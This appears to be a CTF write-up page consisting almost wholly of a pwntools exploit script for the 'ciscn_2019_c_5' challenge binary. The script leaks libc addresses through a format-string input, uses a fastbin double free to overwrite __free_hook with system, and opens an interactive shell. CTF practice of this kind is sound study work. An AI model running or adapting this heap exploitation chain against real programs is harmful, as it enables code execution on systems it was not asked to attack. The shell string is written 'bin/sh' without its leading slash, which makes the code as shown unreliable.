1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * p=process('./ciscn_2019_c_5')
elf=ELF('./ciscn_2019_c_5') libc=elf.libc
def add(size,story): p.sendlineafter(':','1') p.sendlineafter('story:',str(size)) p.sendlineafter('story:',story)
def edit(): p.sendlineafter(':','2')
def show(): p.sendlineafter(':','3')
def free(idx): p.sendlineafter(':','4') p.sendlineafter('index:',str(idx)) def debug(): gdb.attach(p) sleep(1)
p.sendlineafter('name?','%p%p%p%p%p%p%p') p.recvuntil('59') debug() io_stder=int(p.recv(14),16) p.sendlineafter('input your ID.','kkkk')
base=io_stder-libc.sym['_IO_2_1_stderr_'] system=base+libc.sym['system'] print('io_st '+hex(io_stder)+'system '+hex(system)) free_hook=base+libc.sym['__free_hook'] add(0x60,'aaaa') add(0x60,'bbbb') add(0x60,'bin/sh\n')
free(0) free(1) free(0)
add(0x60,p64(free_hook)) add(0x60,'aaaa') add(0x60,'dddd') add(0x60,p64(system)) free(2)
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~